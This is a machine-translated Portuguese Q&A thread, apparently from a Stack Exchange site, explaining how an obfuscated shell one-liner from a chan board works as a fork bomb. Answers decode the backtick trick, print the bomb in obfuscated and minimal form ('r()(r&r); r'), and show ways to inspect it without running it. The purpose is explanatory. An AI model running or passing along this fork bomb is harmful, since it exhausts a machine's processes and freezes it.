Como e por que essa sequência de texto é uma bifurcação?

132

Encontrado em um quadro aleatório de canais:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

De alguma forma, executar isso resulta em um processo infinitamente reprodutivo, que corre desenfreado e paralisa a máquina. Eu vejo algo sobre "su" tentando ser executado várias vezes.

..que é estranho, porque eu apenas esperaria que o texto fosse produzido, não a execução de nada.

A execução desse texto por meio de um decodificador on-line me fornece um lote de spew binário:

resultado do uudecode

O que essa bagunça de texto está realmente fazendo e existe uma maneira de visualizá-la "com segurança"?

Mikey TK
fonte
Por que "su" está sendo executado várias vezes?
Brent Washburne #
34
Um conselho: não corra código de quadros aleatórios de chan e seja grato por ter sido apenas um garfo.
RR
21
Heh. Felizmente, eu estava em uma VM instantânea criada com o propósito expresso de brincar com um lixo possivelmente hostil como esse.
Mikey TK
11
Vidar Holen, o autor do shellcheck.net, escreveu um post no blog sobre o qual afirma ser o autor desta fork fork e fornece algumas informações básicas.
Socowi

Respostas:

194

Primeiro, vamos olhar para o comando inteiro:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Ele contém uma sequência de aspas duplas que é ecoada uudecode. Mas observe que, dentro da cadeia de caracteres entre aspas duplas, existe uma cadeia de aspas . Esta cadeia é executada . A cadeia é:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Se olharmos para o que está nele, vemos três comandos:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Executando expansão de chave no comando do meio, temos:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

A primeira linha tenta executar um comando sem sentido em segundo plano. Isso não é importante.

A segunda linha é importante: define uma função rque, quando executada, lança duas cópias de si mesma. É claro que cada uma dessas cópias lançaria mais duas cópias. E assim por diante.

A terceira linha corre r, iniciando a bomba do garfo.

O restante do código, fora da sequência de aspas anteriores, é apenas um absurdo para ofuscação.

Como executar o comando com segurança

Esse código pode ser executado com segurança se definirmos o limite no nível de aninhamento de funções. Isso pode ser feito com a FUNCNESTvariável do bash . Aqui, configuramos para 2e isso interrompe a recursão:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

As mensagens de erro acima mostram que (a) os comandos sem sentido rYWdle Y29jnão são encontrados, (b) a bomba de forqueta é interrompida repetidamente pelo FUNCNEST e (c) a saída de echonão inicia com begine, consequentemente, não é uma entrada válida para uudecode.

A bomba dos garfos na sua forma mais simples

Como seria a bomba dos garfos se removêssemos a obscuridade? Como o njzk2 e o gerrit sugerem, seria semelhante a:

echo "`r()(r&r);r`"

Podemos simplificar ainda mais isso:

r()(r&r); r

Isso consiste em duas declarações: uma define a função fork-bomb re a segunda é executada r.

Todo o outro código, incluindo o canal para uudecode, estava lá apenas por obscurecimento e desvio de direção.

A forma original tinha mais uma camada de orientação incorreta

O OP forneceu um link para a discussão do quadro de canais em que esse código apareceu. Conforme apresentado lá, o código parecia:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Observe um dos primeiros comentários sobre esse código:

Eu me apaixonei por isso. Copiei apenas a parte que ecoa e decodifica, mas ainda é transferida

No formulário no quadro do canal, alguém poderia pensar ingenuamente que o problema seria a evaldeclaração que opera na saída de uudecode. Isso levaria a pensar que a remoção evalresolveria o problema. Como vimos acima, isso é falso e perigosamente verdadeiro.

John1024
fonte
6
Desonesto! Nunca pensei em considerar a expansão / globbing de conchas no meio da corda ecoada.
Mikey TK #
31
Eu acho que seria bom notar que uudecodeé completamente irrelevante aqui. Por um momento, pensei que uudecodeestava executando uma interpolação de cordas com aspas retroativas, o que a tornaria fundamentalmente insegura, mas a bomba de forquilha acontece antes do código de uud começar.
Gerrit #
28
... e isso , senhoras e senhores, é por isso que a segurança nos scripts de shell é tão difícil. Até coisas totalmente inofensivas podem matá-lo. (Imagine se essa era a entrada do usuário de algum lugar ...)
MathematicalOrchid
22
@MathematicsOrchid Na verdade, é necessário um esforço não trivial para fazer com que as coisas com aspas retro-citadas na entrada do usuário em um script de shell sejam executadas. E se você estiver construindo um script de shell a partir da entrada do usuário, saiba que não deve colocá-lo entre aspas duplas.
Random832
5
@ njzk2 Você ainda precisa de um &aí: echo "`r()(r&r);r`".
Gerrit #
10

Para responder à segunda parte da sua pergunta:

... existe uma maneira de vê-lo "com segurança"?

Para desativar essa sequência, substitua as aspas duplas externas por aspas simples e escape das aspas simples que ocorrem dentro da sequência. Assim, o shell não executará nenhum código e você está passando tudo diretamente para uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Outras alternativas são apontadas nos comentários:

Kasperd sugeriu :

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall sugeriu o uso de um editor de texto, cole o conteúdo e passe esse arquivo para o uudecode.

gerrit
fonte
5
Como alternativa: Digite uudecodena linha de comandos. Pressione Enter. Copie e cole a sequência a ser decodificada.
kasperd
3
Outra alternativa: use um editor de texto para salvar o conteúdo em um arquivo. Abra esse arquivo com uudecode.
26430 Jacob Krall #
Graças a ambos, observei essas alternativas na resposta.
15Registrado em:
11
Certifique-se de verificar se a sequência não é algo como a echo "foo`die`bar'`die`'baz"primeira! Ou seja, se houver algum 's, substituir as aspas por aspas simples não será suficiente.
Wchargin 7/11
5

À primeira vista, você pode pensar que a saída para o shell nunca será executada . Isso ainda é verdade . O problema já está na entrada . O principal truque aqui é o que os programadores chamam de precedência do operador . Esta é a ordem em que o shell tenta processar sua entrada:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Componha a string executando todos os comandos de backticks dentro dela.
  2. Normalmente, um comando desconhecido, o que causaria alguma saída como Se 'rYWdl' não for um erro de digitação, você pode usar o comando não encontrado para procurar o pacote que o contém… (depende do sistema)
  3. Executa 2. em segundo plano. Você nunca verá uma saída.
  4. Defina a função da bomba de forquilha.
  5. Separador de comandos.
  6. Execute a bomba do garfo.
  7. Insira o resultado de 6. na String. (Nós nunca viemos aqui.)

O erro é pensar que esse echoseria o primeiro comando a ser executado, uudecodeo segundo. Ambos nunca serão alcançados.

Conclusão: aspas duplas são sempre perigosas no shell.

Matthias Ronge
fonte